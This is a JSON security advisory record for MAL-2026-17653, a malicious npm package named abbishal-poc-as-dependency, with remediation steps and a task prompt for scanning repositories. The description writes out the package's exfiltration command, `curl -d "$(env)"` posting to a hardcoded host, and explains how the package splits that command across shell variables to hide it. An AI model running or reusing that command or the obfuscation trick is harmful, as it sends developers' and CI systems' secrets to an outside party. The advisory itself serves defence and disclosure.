{"answers":{"affected":"1 open source package ship an affected version, including abbishal-poc-as-dependency.","exploited":"There is no known exploitation of MAL-2026-17653 in the wild and no public exploit code.","fix":"Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.","what":"MAL-2026-17653 is a malicious package in abbishal-poc-as-dependency, published on 8 Oct 2026."},"fix_prompt":"MAL-2026-17653 is a malicious package: abbishal-poc-as-dependency (npm). Every version was published to cause harm.\n\nTask:\n1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.\n2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.\n3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.\n4. If the package is not used anywhere, say so and change nothing.\n\nReference: https://insights.sbomify.com/MAL-2026-17653/ (Markdown: https://insights.sbomify.com/MAL-2026-17653/index.md)","id":"MAL-2026-17653","markdown":"https://insights.sbomify.com/MAL-2026-17653/index.md","name":"MAL-2026-17653","record":{"aliases":["GHSA-pj66-3vwh-cgm2"],"analysis":null,"analysis_generated_by":null,"assigner":null,"cpe":[],"cvss":{"score":null,"severity":null,"source":null,"vector":null,"version":null},"cwes":[],"description":"package.json declares a preinstall lifecycle script `sh./test.sh`. test.sh assembles a `curl -d \"$(env)\" https://abbishal.com/sh/installation-success` command by splitting the tokens `curl`, `env`, and `-d` across single-character shell variables (`i=c`, `s=u`, `a=rl`, `t=en`) and reconstructing them via variable concatenation and command substitution. On `npm install` this POSTs the entire output of `env` — the installer shell/CI's full process environment, including any exported secrets such as CI tokens, cloud credentials (AWS_*, GCP, Azure), and npm publish tokens — to a hardcoded third-party host. The README asserts that the package performs no network requests, no filesystem access, no data collection, and has no preinstall/postinstall lifecycle scripts, directly contradicting the shipped manifest and script. The variable-fragment obfuscation and the cover-story README indicate deliberate evasion rather than a legitimate placeholder or canary.\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.","ecosystems":["npm"],"exploits":{"exploitdb":null,"first_seen":null,"github_poc":null,"max_poc_stars":null,"metasploit":null,"nuclei":null,"refs":[],"tier":null},"has_fix":false,"headline":"Malicious code in abbishal-poc-as-dependency (npm)","id":"MAL-2026-17653","indexable":true,"kev":null,"kind":"malicious","links":{"ecosystem":"npm","product":null,"products":[],"type":null,"year":"2026"},"n_packages":1,"n_references":null,"packages":[{"ecosystem":"npm","fixed":[],"introduced":["0"],"last_affected":[],"package":"abbishal-poc-as-dependency","purl":"pkg:npm/abbishal-poc-as-dependency","source":"MAL-2026-17653"}],"products":null,"published":"2026-10-08","related":[],"sources":[{"class":"attribution","licence":"Apache-2.0","name":"OpenSSF Malicious Packages","prefix":"MAL"}],"ssvc":{"automatable":null,"exploitation":null,"technical_impact":null},"state":null,"updated":null,"vendors":null},"summary":null,"url":"https://insights.sbomify.com/MAL-2026-17653/"}